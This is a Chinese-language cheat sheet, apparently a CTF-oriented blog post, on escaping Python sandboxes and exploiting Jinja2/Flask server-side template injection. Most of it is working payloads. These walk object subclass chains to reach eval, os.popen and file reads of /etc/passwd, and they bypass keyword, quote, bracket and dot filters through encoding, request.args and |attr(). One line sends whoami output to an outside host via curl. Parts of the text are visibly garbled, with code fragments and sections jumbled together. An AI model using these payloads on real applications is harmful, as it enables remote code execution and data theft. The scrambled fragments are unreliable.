Python 沙箱逃逸
Python 沙箱逃逸
沙箱逃逸,就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell
权限的过程
常见的函数、属性、模块
读取文件
file()
只存在于Py2,不存在于Py3
1 | 1].__subclasses__()[40] ().__class__.__mro__[ |
open()
1 | 1].__subclasses__()[80].__init__.__globals__['__builtins__']['open'] [].__class__.__mro__[ |
codecs模块
1 | import codecs |
命令执行
exec()
1 | exec('import os;os.system("ifconfig")') #exec函数包含的语句相当于一个完整的python_shell,但exec()的执行无回显 |
eval()
eval函数只支持单行语句的执行,会返回执行结果
还有一点和exec()
不同的是,eval
不能直接使用 import
语句来导入模块,若要导入模块需要使用__import__
1 | eval('import os') #该句会报错 |
execfile()
execfile()用于执行可执行文件
1 | execfile('/flag.py') |
os模块
1 | os.system('ls /') |
timeit模块
1 | import timeit |
commands模块
1 | import commands |
platform模块
1 | import platform |
subprocess模块
1 | import subprocess |
sys模块
sys模块本身不能用于命令执行,但可用于导入其他模块达到命令执行的效果
1 | import sys |
popen模块
popen模块包含一些命令执行的模块
1 | import popen |
pickle模块
pickle模块的反序列化可实现命令执行
1 | import pickle |
这里是使用的 os.system()
构造继承链
名称 | 介绍 |
---|---|
__dict__ |
这个属性中存放着类的属性和方法对应的键值对,实测module也有这个属性 |
__class__ |
返回一个实例对应的类型 |
__base__ |
返回一个类所继承的基类 |
__subclasses__() |
返回该类的所有子类 |
__mro__ |
python支持多重继承,在解析__init__ 时,定义解析顺序的是子类的__mro__ 属性(值是类的元组) |
__slots__ |
限制类动态添加属性 |
__getattribute__() |
获取属性或方法,对模块和类都有效 |
__getitem__() |
以索引取值或者键取值 |
__globals__ |
返回函数所在模块命名空间中的所有变量 |
python
的object
类中集成了很多的基础函数,我们想要调用的时候也是需要用object
去操作的,
- 获取字符串的类对象
1 | ''.__class__ |
- 寻找基类
1 | ''.__class__.__mro__ |
- 寻找可用引用
1 | ''.__class__.__mro__[2].__subclasses__() |
例如文件读取的 <type ‘file’>
1 | ''.__class__.__mro__[2].__subclasses__()[40] |
1 | ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read |
写文件相仿
1 | ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code') |
- 找到重载过的
__init__
类的类
1 | ''.__class__.__mro__[1].__subclasses__()[59].__init__ |
在获取初始化属性后,带wrapper
的说明没有重载,寻找不带warpper
的,因为wrapper
是指这些函数并没有被重载,这时它们并不是function
,不具有__globals__
属性。
这个就是没被重载过的,我们就要寻找被重载过的,一个脚本:
1 | l = len(''.__class__.__mro__[2].__subclasses__()) |
就可以查出被重载过的类
重载过的__init__
类的类具有__globals__
属性,这里以WarningMessage
为例,会返回很多dict类型:
1 | ''.__class__.__mro__[1].__subclasses__()[204].__init__.__globals__ |
寻找keys中的__builtins__
来查看引用,这里同样会返回很多dict类型:
1 | ''.__class__.__mro__[1].__subclasses__()[204].__init__.__globals__['__builtins__'] |
__builtins__
和__builtin__
的区别:因为python开始就自动导入了函数到内存中,被称为内置函数,但实际上,python是先导入的内建命名空间,那里面才有许多名字,即内建函数的名称,还有对象,对象就是内建函数本身,然而这些命名空间又是由__builtins__
模块中的名字构成,那他和__builtin__
的区别呢:如果在主模块__main__
,__builtins__
直接引用__builtin__
模块,此时模块名__builtins__
与模块名__builtin__
指向的都是同一个模块,即__builtins__
只是引用了__builtin__.__dict__
所以我们可以通过dict
属性来调用这些函数:
1 | 'exec']("print('ok')") __builtins__.__dict__[ |
通过内建函数导入包:
1 | '__import__']('os').system('whoami') __builtins__.__dict__[ |
如果在__builtins__
中,部分需要引用的函数被删除。不能直接用dict属性来调用,可以使用reload来重新加载
1 | reload(__builtin__) |
再在keys中寻找可利用的函数即可,如file()函数为例:
1 | ''.__class__.__mro__[1].__subclasses__()[204].__init__.__globals__['__builtins__']['file']('E:/passwd').read() |
其实也就是从变量->对象->基类->子类遍历->全局变量
这个流程去找到我们想要的模板或者函数
上面的元素链就是通过流程去找到python已经提前导入的builtins
模板,再在模板里面找函数
python提前导入的模板有:
上面就是利用的builtins
模板进行操作的
所以我们需要找__subclasses__[]
的序列数,寻找脚本如下,例如我们想执行命令evla函数
1 | code = 'eval' # 查找包含 eval 函数的内建模块的类型 |
这些里面就有eval函数
例如:
1 | {{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} |
1 | 寻找os模板 |
undefined类型
这里还有一个骚姿势:
先放payload:
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}
{{().__class__.__base__.__subclasses__().c.__init__.__globals__['__builtins__']['eval']('abs(-1)')}}
即没有寻找subclasses的位置就能获得没有重载的类
原因如下:
因为{{().__class__.__base__.__subclasses__().c.__init__}}
得到的是一个undefined类型,也就是说如果碰到未定义的变量就会返回为Undefined类型,所以同理没有定义的变量也是undefined{{a.__init__.__globals__.__builtins__}}
可用类积累:
__init.__globals__['os'].popen("ls").read()
利用的是全局变量里面的os类
os.wraper
类 :找到类加__init__.__globals__.popen("ls").read()
//利用的是os类里面得popen方法
file
函数 :python2才有 直接读取文件:[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
_frozen_importlib.BuiltinImporter
类:
1 | {{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}} |
eval
方法:利用类似下面
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
subprocess.Popen
类:(不需要__globals__
)
1 | [].__class__.__bases__[0].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip() |
url_for.__globals__['__builtins__'].__import__('os').popen('dir').read()
利用内建函数__builtins__
寻找可利用类或者导入包
绕过姿势
当关键字符被过滤的时候,可以采用引号进行拼接
1
{{""["__cla"+"ss__"]}}
或者使用base64编码绕过,用于
__getattribute__
使用实例访问属性时。例如:calss
1
2
3{{[].__getattribute__(X19jbGFzc19f'.decode('base64'))}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}利用Unicode编码绕过关键字(flask适用)
1
2
3{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}等同于:
1
2
3{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}利用Hex编码绕过:
1
2
3{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}等同于:
1
2
3{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}利用join()函数绕过:
1
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
利用列表选择:
1
2
3['_1_1c1l1a1s1s1_1_1'[::2]] #就是选择跳一个的字
等同于:
[__class__]当引号被过滤的时候,可以使用
request.args
直接上例子比较好:
1
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
就是把
{{}}`里面的东西放在外面,再调用至`{{}}
里面,注意:其实不止引号可以这样,关键字也是一样的:例如,一些关键字和引号都被过滤的时候
1
?name={{()[request.args.a].__mro__[1][request.args.b]()[177][request.args.c].__globals__[request.args.d][request.args.e](request.args.f)[request.args.g]}}&a=__class__&b=__subclasses__&c=__init__&d=__builtins__&e=open&f=c:/windows/win.ini&g=read
如果
args
被过滤了,使用request.values
也可以,而且POST和GET传递的数据request.values
都可以接受还有其他绕过方式:
利用
chr
函数,先查出来chr
函数在哪里1
{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
通过
payload
爆破subclasses
,获取某个subclasses
中含有chr
的类索引,1
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}
接着尝试使用chr尝试绕过引号
1
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}
过滤
[]
等括号使用
__gititem__
绕过。如原poc{{"".class.bases[0]}}
绕过后
{{"".class.bases.getitem(0)}}
或者pop()函数:
1
2''.__class__.__mro__.__getitem__(2).__subclasses__()[100]
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(100)尽量不用pop()函数来绕过
过滤小括号
这没办法绕过了,无法执行任何函数,就只能获得个敏感数据了,如config,其实这就是上文所说的查看配置信息
过滤
{{}}(dns外带)`
变量name输出就是大写,而后面这个就是过滤器)它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号(6. 过滤点号 在Python环境中(Python2/Python3),我们可以使用访问字典的方式来访问函数/类等。1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
或者:1
"".__class__等价于""["__class__"]
或者:(`getattr()` 返回一个对象属性值。)1
{{"".__getattribute__("__cla"+"ss__")}}
或者: 利用 `|attr()` 绕过(适用于flask)1
2
3
4
5
6
7
8[].__class__
getattr([],'__class__')
[].__class__.__base__
getattr(getattr([],'__class__'),'__base__')
[].__class__.__base__.__subclasses__()[59]
getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59]
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os'],'system')('ls')1
().__class__ => ()|attr("__class__")
7. 禁止导入敏感包 首先就是ban了`__import__`, 我们可以在`__import__`之间添加空格或者使用`importlib` 还有就是对包进行黑名单检查,我们可以进行字符编码进行绕过 或者字符串拼接:1
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
或者字符串翻转:1
__import__('o'+'s').system('who'+'ami')
8. 利用`|attr()`绕过 `|attr()`是Jinjia2里面的过滤器,(过滤器就是改变变量输出的东西,例如`{{name|upper}}1
__import__('so'[::-1]).system('who'+'ami')
|
)分割。这个就好像不能使用[]
了当
.和[]
同时被过滤:1
2原poc:{{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}
改之后:{{()|attr()("__class__")|attr()("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}当
_ . []
被过滤1
2
3
4
5原poc:{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
绕过[],使用__getitem__()绕过:
{{().__class__.__base__.subclasses__().__getitem__(77).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}
因为`_`还是被过滤了,所以使用request绕过,但是还需要绕过`.`:
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()__enter__
同
__init__
,当__init__
被限制时可用于等价替换func_globals
Py2才可用,同
__globals__
,可等价替换1
[].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals['__builtins__']['file']('/flag').read()